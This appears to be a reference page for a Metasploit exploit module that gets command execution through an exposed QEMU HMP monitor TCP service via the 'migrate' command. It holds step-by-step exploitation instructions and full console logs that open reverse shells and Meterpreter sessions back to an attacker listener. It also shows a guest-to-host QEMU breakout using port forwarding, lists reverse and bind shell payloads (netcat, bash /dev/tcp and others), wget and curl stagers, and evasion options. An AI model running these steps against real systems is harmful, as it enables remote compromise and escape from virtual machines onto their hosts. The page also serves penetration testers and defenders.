QEMU Monitor HMP 'migrate' Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: QEMU Monitor HMP 'migrate' Command Execution
Module: exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
Source code: modules/exploits/multi/misc/qemu_monitor_hmp_migrate_cmd_exec.rb
Disclosure date: 2011-12-02
Last modification time: 2022-02-07 17:48:27 +0000
Supported architecture(s): cmd, aarch64, armle, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
msf exploit(qemu_monitor_hmp_migrate_cmd_exec) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • RPORT: The target port

Knowledge Base


Vulnerable Application


This module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command.

This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.

Note: The migrate command cannot spawn processes for QEMU running on Windows systems.

Installation Steps


Download and install QEMU.

Verification Steps


Start QEMU and monitor HMP service using TCP:

qemu-system-aarch64 -M virt -monitor tcp:0.0.0.0:4444,server,nowait -serial mon:stdio -nographic
  1. msfconsole
  2. use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
  3. set rhosts [host]
  4. set rport [port]
  5. set target [target]
  6. run
  7. You should get a session

Scenarios


Unix Command Target

msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240
rhosts => 172.16.191.240
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444
rport => 4444
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192
lhost => 172.16.191.192
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run

[*] Started reverse TCP double handler on 172.16.191.192:4444 
[*] 172.16.191.240:4444 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.191.240:4444 - The target appears to be vulnerable. QEMU monitor HMP service is running.
[*] 172.16.191.240:4444 - Sending payload (128 bytes) ...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RDx8lJn8owvPaWYr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\nRDx8lJn8owvPaWYr\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.191.192:4444 -> 172.16.191.240:41054 ) at 2022-02-05 23:30:49 -0500

id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1002(wireshark)

Linux Dropper Target

msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240
rhosts => 172.16.191.240
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444
rport => 4444
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target 2
target => 2
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target "Linux (Dropper)" 
target => Linux (Dropper)
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 
lhost => 172.16.191.192
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] 172.16.191.240:4444 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.191.240:4444 - The target appears to be vulnerable. QEMU monitor HMP service is running.
[*] 172.16.191.240:4444 - Sending payload (178 bytes) ...
[*] Sending stage (989032 bytes) to 172.16.191.240
[*] 172.16.191.240:4444 - Command Stager progress - 100.00% done (849/849 bytes)
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.240:41050 ) at 2022-02-05 23:24:56 -0500

meterpreter > getuid
Server username: user
meterpreter > 

QEMU Breakout

The HMP TCP service is reachable from emulated devices, even when the service is bound to the local network interface only (ie, -monitor tcp:127.0.0.1:4444), as all network traffic from the emulated network adapter is routed via the QEMU host.

As such, it is possible to escape QEMU from a session within an emulated device (10.0.2.15) and gain a session on the QEMU host (10.0.2.2).

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : debian-9-13-0-mipsel.local
OS           : Debian 11.2 (Linux 5.10.0-10-4kc-malta)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
meterpreter > ipconfig 

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : enp0s11
Hardware MAC : 52:54:00:12:34:56
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 10.0.2.15
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::5054:ff:fe12:3456
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fec0::5054:ff:fe12:3456
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > portfwd add -l 1234 -p 4444 -r 10.0.2.2
[*] Local TCP relay created: :1234 <-> 10.0.2.2:4444
meterpreter >
Background session 1? [y/N]
msf6 exploit(multi/handler) > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 1234
rport => 1234
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > check
[*] 127.0.0.1:1234 - The target appears to be vulnerable. QEMU monitor HMP service is running.
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192
lhost => 172.16.191.192
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run

[*] Started reverse TCP double handler on 172.16.191.192:4444 
[*] 127.0.0.1:1234 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:1234 - The target appears to be vulnerable. QEMU monitor HMP service is running.
[*] 127.0.0.1:1234 - Sending payload (128 bytes) ...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Rl19l7hvy8EO5hPz;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Rl19l7hvy8EO5hPz\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.191.192:4444 -> 172.16.191.240:41056 ) at 2022-02-06 12:54:42 -0500

uname -a
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Go back to menu.

Msfconsole Usage


Here is how the multi/misc/qemu_monitor_hmp_migrate_cmd_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec

[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > show info

       Name: QEMU Monitor HMP 'migrate' Command Execution
     Module: exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, aarch64, armle, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-12-02

Provided by:
  bcoles <[email protected]>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Unix (Command)
  2   Linux (Dropper)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta
                                      sploit
  RPORT                     yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local
                                       machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:
  Space: 1010
  Avoid: 4 characters

Description:
  This module uses QEMU's Monitor Human Monitor Interface (HMP) TCP 
  server to execute system commands using the `migrate` command. This 
  module has been tested successfully on QEMU version 6.2.0 on Ubuntu 
  20.04.

References:
  https://wiki.qemu.org/ToDo/HMP
  https://www.qemu.org/docs/master/system/monitor.html
  https://www.qemu.org/docs/master/system/security.html
  https://www.linux-kvm.org/page/Migration

Module Options


This is a complete list of options available in the multi/misc/qemu_monitor_hmp_migrate_cmd_exec exploit:

msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > show options

Module options (exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Met
                                       asploit
   RPORT                     yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the loca
                                       l machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/misc/qemu_monitor_hmp_migrate_cmd_exec exploit:

msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > show advanced

Module advanced options (exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AllowNoCleanup          false            no        Allow exploitation without the possibility of cleaning up files
   AutoCheck               true             no        Run check before exploit
   CHOST                                    no        The local client address
   CMDSTAGER::DECODER                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto             no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write
                                                      , echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwp
                                                      request, psh_invokewebrequest)
   CMDSTAGER::SSL          false            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                          no        Writable directory for staged files
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   ListenerComm                             no        The specific communication channel to use for this service
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT,
                                                      NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are aut
                                                      o-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript
                                                          )
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will N
                                                          OT go through proxy but directly to LHOST
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/misc/qemu_monitor_hmp_migrate_cmd_exec module can exploit:

msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Unix (Command)
   2   Linux (Dropper)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/qemu_monitor_hmp_migrate_cmd_exec exploit:

msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   8   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   9   payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   10  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   11  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   12  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   13  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   14  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   15  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   16  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   17  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   18  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   19  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   20  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   21  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   22  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   23  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   24  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   25  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   26  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   27  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   28  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   42  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44  payload/generic/custom                                       normal  No     Custom Payload
   45  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   46  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   47  payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the multi/misc/qemu_monitor_hmp_migrate_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: non
                                                    e, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Service is not QEMU monitor HMP.


Here is a relevant code snippet related to the "Service is not QEMU monitor HMP." error message:

87:	    connect
88:	    banner = sock.get_once.to_s
89:	    disconnect
90:	
91:	    unless banner.include?('QEMU') && banner.include?('monitor')
92:	      return CheckCode::Safe('Service is not QEMU monitor HMP.')
93:	    end
94:	
95:	    CheckCode::Appears('QEMU monitor HMP service is running.')
96:	  end
97:	

QEMU monitor HMP service is running.


Here is a relevant code snippet related to the "QEMU monitor HMP service is running." error message:

90:	
91:	    unless banner.include?('QEMU') && banner.include?('monitor')
92:	      return CheckCode::Safe('Service is not QEMU monitor HMP.')
93:	    end
94:	
95:	    CheckCode::Appears('QEMU monitor HMP service is running.')
96:	  end
97:	
98:	  def execute_command(cmd, _opts = {})
99:	    cmd = cmd.gsub('\\', '\\\\\\')
100:	    vprint_status("Executing command: #{cmd}")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • bcoles

Version


This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.